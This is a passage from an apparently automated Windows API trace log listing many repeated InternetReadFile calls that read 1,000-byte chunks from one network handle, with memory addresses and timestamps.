lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3345250*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.217] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3345638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3345638*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.217] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3345a20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3345a20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.217] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3345e08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3345e08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.218] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33461f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33461f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.218] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33465d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33465d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.218] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33469c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33469c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.218] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3346da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3346da8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.219] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3347190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3347190*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.219] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3347578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3347578*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.219] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3347960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3347960*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.219] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3347d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3347d48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.220] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3348130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3348130*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.220] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3348518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3348518*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.220] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3348900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3348900*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.220] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3348ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3348ce8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.220] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33490d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33490d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.221] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33494b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33494b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.221] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33498a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33498a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.221] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3349c88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3349c88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.222] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334a070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334a070*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.222] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334a458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334a458*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.222] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334a840, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334a840*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.222] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334ac28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334ac28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.224] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334b010, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334b010*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.225] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334b3f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334b3f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.225] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334b7e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334b7e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.226] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334bbc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334bbc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.227] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334bfb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334bfb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.228] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334c398, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334c398*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.230] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334c780, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334c780*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.230] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334cb68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334cb68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.231] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334cf50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334cf50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.231] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334d338, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334d338*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334d720, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334d720*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334db08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334db08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334def0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334def0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334e2d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334e2d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334e6c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334e6c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334eaa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334eaa8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334ee90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334ee90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334f278, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334f278*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334f660, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334f660*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334fa48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334fa48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x334fe30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x334fe30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3350218, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3350218*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3350600, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3350600*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33509e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33509e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3350dd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3350dd0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33511b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33511b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33515a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33515a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3351988, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3351988*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3351d70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3351d70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3352158, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3352158*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3352540, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3352540*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3352928, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3352928*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3352d10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3352d10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33530f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33530f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33534e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33534e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33538c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33538c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3353cb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3353cb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3354098, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3354098*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3354480, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3354480*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3354868, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3354868*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3354c50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3354c50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3355038, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3355038*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3355420, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3355420*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3355808, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3355808*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3355bf0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3355bf0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3355fd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3355fd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33563c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33563c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33567a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33567a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3356b90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3356b90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3356f78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3356f78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.241] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3357360, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3357360*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.241] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3357748, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3357748*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.241] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3357b30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3357b30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.241] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3357f18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3357f18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.241] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3358300, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3358300*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.242] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33586e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33586e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.242] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3358ad0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3358ad0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.242] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3358eb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3358eb8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.242] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33592a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33592a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.242] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3359688, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3359688*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.243] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3359a70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3359a70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.254] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3359e58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3359e58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.255] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335a240, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335a240*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.255] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335a628, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335a628*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.255] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335aa10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335aa10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.255] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335adf8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335adf8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335b1e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335b1e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335b5c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335b5c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335b9b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335b9b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335bd98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335bd98*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.257] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335c180, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335c180*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.257] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335c568, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335c568*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.257] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335c950, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335c950*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.257] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335cd38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335cd38*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.258] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335d120, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335d120*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.258] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335d508, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335d508*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.258] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335d8f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335d8f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.258] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335dcd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335dcd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.258] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335e0c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335e0c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.259] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335e4a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335e4a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.292] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335e890, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335e890*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.292] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335ec78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335ec78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.292] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335f060, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335f060*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.292] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335f448, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335f448*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.292] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335f830, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335f830*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.293] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335fc18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335fc18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.293] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3360000, 